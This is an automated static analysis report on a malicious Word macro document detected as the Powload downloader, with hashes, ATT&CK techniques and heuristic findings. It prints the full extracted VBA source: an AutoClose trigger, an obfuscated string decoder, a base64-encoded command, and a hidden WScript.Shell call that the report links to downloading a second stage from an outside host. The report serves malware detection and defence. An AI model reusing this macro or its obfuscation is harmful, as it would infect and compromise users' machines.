Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f2e0902e21abde22…

MALICIOUS

Office (OOXML)

65.9 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-09-30
MD5: dded59f51a5d04c60faea5fd6150661a SHA-1: a73edebf73f202815466aedfb4c51bbefd217e4c SHA-256: f2e0902e21abde220813e7a4ea68c7b6039e92cecf338a522739e0d03bbbca16
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros that are triggered by the AutoClose event. These macros utilize WScript.Shell and CreateObject to download a second-stage payload from the reconstructed URL 'http://okijgftrbbgkjwzeoew.com/'. The ClamAV detection 'Doc.Downloader.Powload-6707242-0' further supports its nature as a downloader. The presence of WScript.Shell and the download functionality strongly indicate a malicious downloader.

Heuristics 8

  • ClamAV: Doc.Downloader.Powload-6707242-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6707242-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
         If chainsawed - necks > 1 Then
       CreateObject("WScript.Shell").Run outplaying, 0
       connivers = False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If chainsawed - necks > 1 Then
       CreateObject("WScript.Shell").Run outplaying, 0
       connivers = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  pyrobelonite = Array("b", "z", "w", "G", "X", "6", "F", "l", "b", "2", "g", "l", "2", "8", "1", "w", "1", "O", "1", "F", "1", "4", "1", "X", "1", "C", "1", "F", "1", "u", "1", "u", "1", "r", "1", "F", "1", "x", "1", "F", "1", "2", "q", "3", "w", "J", "x", "R", "y", "2", "q", "J", "x", "F", "l", "2", "N", "e", "6", "I", "M", "M", "2", "q", "J", "z", "2")
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3019 bytes
SHA-256: b99c43b31f60eda4c8d86744d971aa2ae0c32997f6215f0db40c6a1712dd2b69
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function docent(pyrobelonite)
  patterist = Array("G", "w", "O", "X", "J", "N", "M", "e", "I", "F", "1", "3", "8", "2", "r", "x", "u", "z", "R", "q", "C", "b", "g", "6", "4", "y", "l")
  crayonist = Array("m", "o", "w", "S", "E", "B", "s", "y", "a", "e", "^", "N", "P", " ", ".", "x", "l", "C", "i", "-", "h", "%", "/", "p", "r", "t", "c")
  
  mcclure = vbNullString
  
  For Each morbidize In pyrobelonite
    canopying = sinewless(morbidize, patterist, UBound(patterist))
    If canopying > -1 Then
    mcclure = crayonist(canopying) & mcclure
    End If
  Next
  
  docent = StrReverse(mcclure)
  
End Function

Public Function sinewless(felicitator, lithology, dioecisms)
  abbassi = 0
  hostilities = -1
  For abbassi = 0 To dioecisms
    If lithology(abbassi) = felicitator Then
     hostilities = abbassi
    End If
  Next
  
  sinewless = hostilities
End Function

Sub AutoClose()
  pyrobelonite = Array("b", "z", "w", "G", "X", "6", "F", "l", "b", "2", "g", "l", "2", "8", "1", "w", "1", "O", "1", "F", "1", "4", "1", "X", "1", "C", "1", "F", "1", "u", "1", "u", "1", "r", "1", "F", "1", "x", "1", "F", "1", "2", "q", "3", "w", "J", "x", "R", "y", "2", "q", "J", "x", "F", "l", "2", "N", "e", "6", "I", "M", "M", "2", "q", "J", "z", "2")
  sterilizing = "IAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAG8AawBpAGoAZwB0AGYAcgBiAGcAawB6AGEAbQBoAGoAdwBlAGUAbwByAC4AYwBvAG0ALwBTAFMALwBnAGUAcwBoAC4AdAB6AG0AJwAsACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAIAArACAAJwBcAC0ANgA2ADIANAA1ADEANwA2ADIALgBlAHgAZQAnACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAnAFwALQA2ADYAMgA0ADUAMQA3ADYAMgAuAGUAeABlACcAOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAG8AawBpAGoAZwB0AGYAcgBiAGcAawB6AGEAbQBoAGoAdwBlAGUAbwByAC4AYwBvAG0ALwBzAC4AcABoAHAAPwBpAGQAPQBnAGUAcwBoACcAKQA7AEkARQBYACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZwBpAGQAcgBvAGwAbwBnAGkAawBhAC4AcgB1AC8AUwB0AGEAdAAuAGMAbwB1AG4AdAAnACkAKQA7AA=="
  attingent = docent(pyrobelonite)
  
  Application.Run "vermix", attingent + sterilizing
  
End Sub


Private Sub vermix(outplaying)
   
   necks = DateDiff("s", #1/1/1970#, Now())
   connivers = True
   
   While connivers
     chainsawed = DateDiff("s", #1/1/1970#, Now())
     If chainsawed - necks > 1 Then
       CreateObject("WScript.Shell").Run outplaying, 0
       connivers = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13312 bytes
SHA-256: ea7a389e8683cfd12cd98f66a782bc3d02e889fd6e1ba2c6e9f2ccc5e870edb5
Detection
ClamAV: Doc.Downloader.Powload-6707242-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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